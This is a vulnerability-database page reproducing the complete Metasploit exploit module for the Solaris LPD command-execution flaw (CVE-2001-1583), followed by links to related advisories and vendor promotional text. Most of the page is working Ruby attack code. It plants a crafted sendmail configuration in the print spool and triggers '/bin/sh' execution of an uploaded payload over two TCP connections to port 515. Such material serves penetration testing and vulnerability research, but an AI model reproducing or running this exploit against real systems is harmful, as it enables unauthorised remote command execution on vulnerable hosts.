Lucene search
K

Solaris LPD Command Execution

🗓️ 28 Oct 2009 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

Solaris LPD Command Execution. Arbitrary execution flaw in Solaris LPD service. Exploit without resolved name of attacking system

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2001-1583
20 Sep 201000:00
circl
CVE
CVE-2001-1583
23 Sep 200723:00
cve
Cvelist
CVE-2001-1583
23 Sep 200723:00
cvelist
Exploit DB
Solaris LPD - Command Execution (Metasploit)
20 Sep 201000:00
exploitdb
Exploit DB
Solaris 8.0 LPD - Command Execution (Metasploit)
31 Aug 200100:00
exploitdb
exploitpack
Solaris 8.0 LPD - Command Execution (Metasploit)
31 Aug 200100:00
exploitpack
canvas
Immunity Canvas: IN_LPD
31 Dec 200105:00
canvas
Metasploit
Solaris LPD Command Execution
16 Jan 200602:59
metasploit
NVD
CVE-2001-1583
31 Dec 200105:00
nvd
Positive Technologies
PT-2001-2667 · Oracle · Solaris
31 Dec 200100:00
ptsecurity
Rows per page
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Solaris LPD Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution flaw in  
the in.lpd service shipped with all versions of Sun Solaris  
up to and including 8.0. This module uses a technique  
discovered by Dino Dai Zovi to exploit the flaw without  
needing to know the resolved name of the attacking system.  
  
},  
'Author' => [ 'hdm', 'ddz' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2001-1583'],  
[ 'OSVDB', '15131'],  
[ 'BID', '3274'],  
  
],  
'Platform' => ['unix', 'solaris'],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 8192,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
},   
'Targets' =>   
[  
[ 'Automatic Target', { }]  
],  
'DisclosureDate' => 'Aug 31 2001',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(515)  
], self.class)  
end  
  
def exploit  
  
# This is the temporary path created in the spool directory  
spath = "/var/spool/print"  
  
# The job ID is squashed down to three decimal digits  
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]  
  
# The control file  
control =  
"H"+"metasploit\n"+  
"P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+  
"f"+"dfA"+jid+"config\n"+  
"f"+"dfA"+jid+"script\n"  
  
  
# The mail configuration file  
mailcf =  
"V8\n"+  
"\n"+  
"Ou0\n"+  
"Og0\n"+  
"OL0\n"+  
"Oeq\n"+  
"OQX/tmp\n"+  
"\n"+  
"FX|/bin/sh #{spath}/#{jid}script\n"+  
"\n"+  
"S3\n"+  
"S0\n"+  
"R\+ #local \\@blah :blah\n"+  
"S1\n"+  
"S2\n"+  
"S4\n"+  
"S5\n"+  
"\n"+  
"Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+  
"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"  
  
# Establish the first connection to the server  
sock1 = connect(false)  
  
# Request a cascaded job  
sock1.put("\x02metasploit:framework\n")  
res = sock1.get_once  
if (not res)  
print_status("The target did not accept our job request command")  
return  
end  
  
print_status("Configuring the spool directory...")  
if !(  
send_file(sock1, 2, "cfA" + jid + "metasploit", control) and  
send_file(sock1, 3, jid + "mail.cf", mailcf) and  
send_file(sock1, 3, jid + "script", payload.encoded)  
)  
sock1.close  
return  
end  
  
# Establish the second connection to the server  
sock2 = connect(false)  
  
# Request another cascaded job  
sock2.put("\x02localhost:metasploit\n")  
res = sock2.get_once  
if (not res)  
print_status("The target did not accept our second job request command")  
return  
end   
  
print_status("Triggering the vulnerable call to the mail program...")  
if !(  
send_file(sock2, 2, "cfA" + jid + "metasploit", control) and  
send_file(sock2, 3, "dfa" + jid + "config", mailcf)  
)  
sock1.close  
sock2.close  
return  
end   
  
sock1.close  
sock2.close  
  
print_status("Waiting up to 60 seconds for the payload to execute...")  
sleep(60)  
  
handler  
end  
  
def send_file(s, type, name, data='')  
  
s.put(type.chr + data.length.to_s + " " + name + "\n")  
res = s.get_once(1)  
if !(res and res[0] == ?\0)  
print_status("The target did not accept our control file command (#{name})")  
return  
end  
  
s.put(data)  
s.put("\x00")  
res = s.get_once(1)  
if !(res and res[0] == ?\0)  
print_status("The target did not accept our control file data (#{name})")  
return  
end   
  
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))  
return true  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation